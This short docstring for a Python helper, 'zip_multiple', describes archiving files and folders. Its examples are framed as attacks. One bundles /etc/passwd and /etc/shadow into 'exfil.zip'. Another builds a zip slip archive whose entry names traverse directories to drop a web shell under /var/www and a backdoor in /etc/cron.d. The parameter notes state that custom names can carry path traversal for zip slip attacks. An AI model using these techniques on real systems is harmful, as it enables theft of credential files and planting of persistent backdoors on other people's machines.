Zip multiple files/folders into a single archive.
- Parameters:
paths – List of paths (can mix files and folders)
output_path – Where to save the zip
names_in_zip – Optional list of custom names for files in zip (must match paths length) Can include path traversal for zip slip attacks Maps to ‘arcname’ parameter in zipfile library If None, uses default naming
- Returns:
Path to created zip file or None
Examples
# Normal usage zip_multiple(['/etc/passwd', '/etc/shadow'], 'exfil.zip') # With custom names (zip slip) zip_multiple( ['payload1.txt', 'payload2.txt'], 'malicious.zip', names_in_zip=['../../../var/www/shell.php', '../../../../etc/cron.d/backdoor'] )